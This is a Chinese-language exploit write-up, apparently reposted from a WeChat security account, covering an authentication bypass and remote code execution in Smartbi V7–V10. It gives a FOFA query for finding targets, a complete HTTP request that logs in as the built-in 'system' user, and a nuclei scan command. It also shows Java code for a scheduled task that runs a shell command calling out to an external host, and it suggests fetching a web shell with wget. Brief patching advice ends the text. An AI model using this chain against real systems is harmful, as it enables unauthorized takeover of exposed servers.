漏洞概述
Smartbi在安装时会内置几个用户,在使用特定接口时,可绕过用户身份认证机制获取其身份凭证,随后可使用获取的身份凭证调用后台接口,可能导致敏感信息泄露和代码执行。
影响范围
V7 <= Smartbi <= V10
复现环境
FOFA:app="SMARTBI"
漏洞验证
验证漏洞是否存在
http://xxx.xxx.xxx/vision/RMIServlet
出现以上这种情况,则存在漏洞。
POST /vision/RMIServlet HTTP/1.1
Host: xxx.xxx.xxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=56FBB60CB402554EF9AB272384FD4202
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
className=UserService&methodName=loginFromDB¶ms=["system","0a"]
带着箭头标注的cookie去首页刷新即可以system权限进入后台。
nuclei-templates:
https://github.com/UltimateSec/ultimaste-nuclei-templates/blob/main/smartbi/smartbi-default-user.yaml
nuclei检测:./nuclei -u http://xxx.xxx.com/ -t ./ultimaste-nuclei-templates/smartbi/smartbi-default-user.yaml
进个后台这就没了?怎么可能没了,多个公众号都强调了可RCE速修。
那么咱来看看是怎么RCE的,这个系统后台功能比较多,找了找容易出问题的功能,系统运维->常用工具->计划任务。
新建任务,任务类型选择定制,在⾃定义设置⽂本下输⼊java语句
dnslog探测语句:
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
importPackage(Packages.smartbi.repository);
importPackage(Packages.smartbi.util);
importPackage(Packages.java.util);
builder = new ProcessBuilder();
builder.command("sh", "-c", "sudo curl http://ip");
builder.directory(new File(System.getProperty("user.home")));
process = builder.start();
访问web,确定是否下载成功。
能出网就简单了,wget一个马进去。
修复建议
在确认不影响业务的前提下,删除内置的几个账号(public、service、system)。
官方已发布升级补丁包,支持在线升级和离线补丁安装。
https://www.smartbi.com.cn/patchinfo
原文始发于微信公众号(星网实验室):Smartbi内置用户登陆绕过以及getshell
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论